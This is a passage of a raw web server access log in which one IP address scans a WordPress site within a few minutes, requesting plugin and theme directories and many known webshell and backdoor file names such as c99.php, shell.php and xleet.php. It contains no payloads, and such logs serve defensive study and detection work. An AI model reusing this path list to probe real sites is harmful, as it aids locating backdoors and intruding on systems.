/wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:40 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:41 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:42 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:43 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:44 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:45 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:46 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:48 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:49 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:49 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:51 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:52 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:53 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:54 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:55 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:55 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:56 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:57 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:58 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:00 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:01 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:02 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:06 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:09 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:12 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:14 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:18 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:21 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:27 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:30 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:33 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:35 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:37 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:39 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:41 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:44 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:47 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:47 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:49 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:50 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:51 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:52 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:53 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:53 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:54 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:54 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:54 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:55 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:55 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:57 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:57 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:58 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:30:59 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:02 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:03 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:04 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:04 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:04 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:05 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:06 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:07 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:08 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:09 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:10 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:11 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:12 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:12 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:12 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:13 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:14 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:15 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:16 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:17 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:17 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:18 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:18 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:19 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:20 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:21 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:22 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:23 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:24 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:26 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:27 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:29 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:29 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:30 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:31 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:33 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:35 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:36 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:37 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:39 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:40 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:41 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:42 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:43 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:45 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:47 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:48 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:49 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:51 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:52 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:53 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:54 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:54 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:56 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:56 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:58 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:31:59 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:00 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:02 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:03 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:06 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:09 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:11 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:12 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:14 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:15 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:15 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:16 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:17 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:17 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:18 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:19 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:19 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:20 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:20 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:20 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:21 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:21 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:21 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:22 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:23 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:24 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:25 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:26 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:27 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:27 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:28 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:29 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:30 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:31 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:32 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:32 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:32 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:33 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:33 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:34 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:34 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:35 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:35 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:35 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:36 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:36 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:36 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:37 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:37 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:37 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:38 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:38 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:38 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:38 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:39 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:39 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:39 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:40 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:40 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:40 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:41 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:42 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:42 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:43 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:44 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:44 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:45 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:46 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:47 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:47 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:48 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:48 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:49 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:50 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:50 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:51 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:51 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:52 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:53 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:53 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:54 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:54 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:55 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:56 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:57 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:58 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:32:59 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:00 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:00 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:01 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:02 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:03 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:04 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:04 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:05 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:06 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:06 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:08 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:09 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:09 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:10 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:10 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:10 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:11 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:11 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:12 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:13 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:13 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:14 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:14 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:15 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:33:17 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 